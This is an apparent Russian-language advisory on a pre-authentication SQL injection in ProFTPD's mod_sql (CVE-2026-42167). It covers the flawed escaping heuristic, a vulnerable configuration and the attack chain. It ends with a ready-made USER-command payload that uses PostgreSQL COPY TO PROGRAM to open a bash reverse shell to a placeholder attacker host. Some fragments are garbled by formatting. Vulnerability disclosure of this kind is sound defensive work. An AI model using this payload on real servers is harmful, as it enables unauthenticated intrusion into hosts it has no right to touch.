
Предварительная аутентификация RCE в ProFTPD через обход is_escaped_text() в mod_sql (CVE-2026-42167)
mod_sqlАвтор: Van Glenndon Enad
Первоначальное обнаружение: ZeroPath
Опубликовано: 1 мая 2026 г.
Критичность: Критическая
Оценка CVSS v3.1: 8.1
Вектор CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Оценка CVSS v2: 7.6
Вектор CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд)
CVE-2026-42167 — это критическая SQL-инъекция до аутентификации в модуле расширения mod_sql ProFTPD. Логическая ошибка в функции is_escaped_text() позволяет неаутентифицированному злоумышленнику обойти экранирование SQL-символов, создав команду USER, значение которой удовлетворяет ошибочной эвристике «уже экранировано». Внедренный SQL передается напрямую в серверную базу данных через PQexec(), который поддерживает составные запросы.
Когда роль базы данных ProFTPD является суперпользователем PostgreSQL — распространенная ошибка конфигурации в контейнерных развертываниях — инъекция достигает директивы COPY TO PROGRAM PostgreSQL, что приводит к неаутентифицированному удаленному выполнению кода на уровне ОС от имени системного пользователя postgres. Не требуются учетные данные, предварительный доступ или взаимодействие с пользователем.
| Компонент | Версия |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Модуль | mod_sql + mod_sql_postgres |
| Исправленная версия | 1.3.9a (выпущена 27 апреля 2026 г.) |
| Серверная часть | PostgreSQL (RCE); MySQL / SQLite (только обход аутентификации) |
ProFTPD — это широко развертываемый FTP-сервер с открытым исходным кодом. Согласно Shodan, в интернете существует более 160 000 публично доступных экземпляров ProFTPD. Модуль mod_sql обычно включен в панелях управления хостингом, включая cPanel, Plesk, DirectAdmin, Webmin и ISPConfig.
Модуль mod_sql ProFTPD поддерживает аутентификацию и ведение журнала активности на основе SQL. Строки формата журнала могут включать переменные подстановки, такие как %U (имя пользователя), %r (удаленный хост) и %m (команда FTP). Эти переменные раскрываются во время выполнения и вставляются в SQL-запросы, выполняемые против настроенной серверной части.
Типичная уязвимая конфигурация:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
В этой конфигурации значение, указанное в команде FTP USER, подставляется вместо %U и включается непосредственно в SQL-оператор INSERT. Перед вставкой значение передается через is_escaped_text() для определения необходимости экранирования. Эта функция содержит критическую логическую ошибку.
is_escaped_text()Расположенная в contrib/mod_sql.c, функция применяет следующую эвристику для определения того, является ли строка «уже экранированной»:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Предполагаем, что строка экранирована, если:
* 1. Она начинается с одинарной кавычки
* 2. Она заканчивается одинарной кавычкой
* 3. Она не содержит внутренних одинарных кавычек
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* пропустить экранирование */
}
return FALSE;
}
Когда эта функция возвращает TRUE, sql_resolved_append_text() (строка 777) вставляет необработанное, неэкранированное значение непосредственно в строку запроса. Затем значение выполняется через PQexec() в contrib/mod_sql_postgres.c (строка 1146), который поддерживает составные (многооператорные) запросы.
Эвристика, вероятно, была предназначена для обнаружения строк, которые уже окружены разделителями строк SQL. Однако она не предпринимает никаких попыток проверить безопасность внутреннего содержимого — только то, что дополнительные одинарные кавычки отсутствуют. Это означает, что любая полезная нагрузка, которая:
''$$)...пройдет проверку и будет внедрена дословно в SQL-запрос.
FTP-клиент ProFTPD PostgreSQL
│ │ │
│── USER '<полезная нагрузка>' ──▶ │ │
│ │ раскрыть %U = '<полезная нагрузка>' │
│ │ is_escaped_text() = TRUE│
│ │ пропустить экранирование │
│ │── INSERT INTO activity │
│ │ VALUES ('<полезная нагрузка>', │
│ │ ...) ──────────────▶ │
│ │ │ выполнить составной SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell-команда ──▶ ОС
| Требование | Примечания |
|---|---|
mod_sql включен с SQL-журналированием | Должна регистрироваться переменная до аутентификации, такая как %U |
| Серверная часть PostgreSQL | Требуется для RCE через COPY TO PROGRAM; MySQL/SQLite все еще позволяют обход аутентификации |
| Роль БД является суперпользователем PostgreSQL | COPY TO PROGRAM ограничен суперпользователями или членами pg_execute_server_program |
bash доступен на хосте БД | Требуется для доставки обратной оболочки через /dev/tcp |
| Сетевая доступность | Контейнер PostgreSQL должен иметь возможность связаться со злоумышленником на порту прослушивания |
Условие суперпользователя часто выполняется в контейнерных развертываниях, где пользователь БД ProFTPD создается через POSTGRES_USER=... в официальном Docker-образе PostgreSQL, или когда администратор предоставляет роли ProFTPD владение базой данных.
Шаг 1: Злоумышленник отправляет специально созданную команду USER (до аутентификации, учетные данные не требуются)
│
▼
Шаг 2: ProFTPD раскрывает %U значением, контролируемым злоумышленником
│
▼
Шаг 3: Обход is_escaped_text() — необработанный SQL проходит без экранирования
│
▼
Шаг 4: PQexec() выполняет составной запрос против PostgreSQL
│
▼
Шаг 5: COPY TO PROGRAM выполняет shell-команду злоумышленника от имени OS-пользователя postgres
│
▼
Шаг 6: Обратная оболочка / эксфильтрация файлов доставляется злоумышленнику
Полезная нагрузка инъекции доставляется через команду FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'